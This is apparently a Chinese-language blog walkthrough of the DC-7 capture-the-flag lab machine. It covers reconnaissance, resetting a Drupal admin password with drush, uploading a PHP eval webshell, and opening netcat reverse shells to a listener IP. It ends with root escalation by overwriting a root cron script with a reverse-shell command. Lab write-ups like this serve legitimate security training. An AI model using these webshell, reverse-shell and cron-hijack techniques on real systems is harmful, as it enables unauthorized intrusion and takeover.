DC-7 靶机

DC_7

信息搜集

存活检测

DC-7 靶机_第1张图片

详细扫描

DC-7 靶机_第2张图片

后台网页扫描

DC-7 靶机_第3张图片

网页信息搜集

DC-7 靶机_第4张图片

搜索相关信息

DC-7 靶机_第5张图片

DC-7 靶机_第6张图片

DC-7 靶机_第7张图片

在配置中发现了用户名密码字样

$username = "dc7user";
$password = "MdR3xOgB7#dW";

DC-7 靶机_第8张图片

ssh 登录

  • 尝试使用获取的账密进行登录

    网页登录失败

    DC-7 靶机_第9张图片

  • 尝试 ssh 登录

    成功登录

    DC-7 靶机_第10张图片

  • 登陆今后提示收到了一个邮件

    查看邮件内容

    cd /var/mail
    

    DC-7 靶机_第11张图片

  • 看到有 root 的计划任务

  • 查看执行计划任务的文件权限

    image-20231024125954322

    www-data 组拥有全部权限,而其他用户无修改权限

  • 查看 dc7user 属组,不属于 www-data,无法修改内容

    image-20231024130048738

  • 查看计划任务内容

    DC-7 靶机_第12张图片

    脚本内容显示

    进入 /var/www/html 目录可执行 drush 命令

    Drush 是一个用于管理 Drupal 网站的命令行工具。它提供了一组功能丰富的命令,可以在不使用网页界面的情况下执行各种 Drupal 管理任务。

    Drush 命令可以在终端或命令提示符中使用,并且可以在 Drupal 项目的根目录中执行

  • 可以使用 drush 命令更改用户的登陆密码

    cd /var/www/html/
    drush user-password admin --password="123456"
    

    image-20231024131937921

反弹 shell

  • 登录网页

    输入用户名和修改的密码,登录

    DC-7 靶机_第13张图片

  • 登录后发现可以编辑内容

    DC-7 靶机_第14张图片

  • 尝试上传一句话 php 木马

     @eval($_POST['gjl']); ?>
    

    发现编辑时没有 php 解析

    DC-7 靶机_第15张图片

  • 拓展中可安装 php

    PHP 解释器 Drupal 官方连接

    https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
    

    DC-7 靶机_第16张图片

    成功安装

    DC-7 靶机_第17张图片

  • 勾选 php,点击最下方的 install

    DC-7 靶机_第18张图片

  • 成功启动 php

    DC-7 靶机_第19张图片

  • 上传一句话木马

    DC-7 靶机_第20张图片

    选择 php code,点击 save

    DC-7 靶机_第21张图片

    DC-7 靶机_第22张图片

  • 打开蚁剑

    添加上传 php 所在的 url,测试链接

    DC-7 靶机_第23张图片

  • 打开连接,开启虚拟终端

    DC-7 靶机_第24张图片

  • kali 开启监听

    image-20231024133938625

  • 在蚁剑的虚拟终端输入反弹命令

    nc -e /bin/bash 10.4.7.146 7777
    

    DC-7 靶机_第25张图片

    成功反弹进 kali

提权

  • 此时获得了 www-data 的 shell

    DC-7 靶机_第26张图片

  • 根据前面搜集的信息可知,现在可以修改 root 的定时任务 /opt/scripts/backups.sh

  • kali 开启监听

    image-20231024134616970

  • 添加提权命令

    echo "nc -e /bin/bash 10.4.7.146 6666" > /opt/scripts/backups.sh
    

    image-20231024134741234

    因为 backup.sh 是以 root 权限运行,连接反弹 shell 后获取的权限为 root 权限

  • 等待计划任务自动执行(运气不好最长等 15 分钟,计划任务 15 分钟执行一次)

    DC-7 靶机_第27张图片

  • 提权成功

    DC-7 靶机_第28张图片

总结

  • drush 修改 Drupal 网站账户密码

  • 计划任务、反弹 shell 提权

你可能感兴趣的:(渗透测试,1024程序员节,网络安全,网络,linux,运维,服务器,笔记)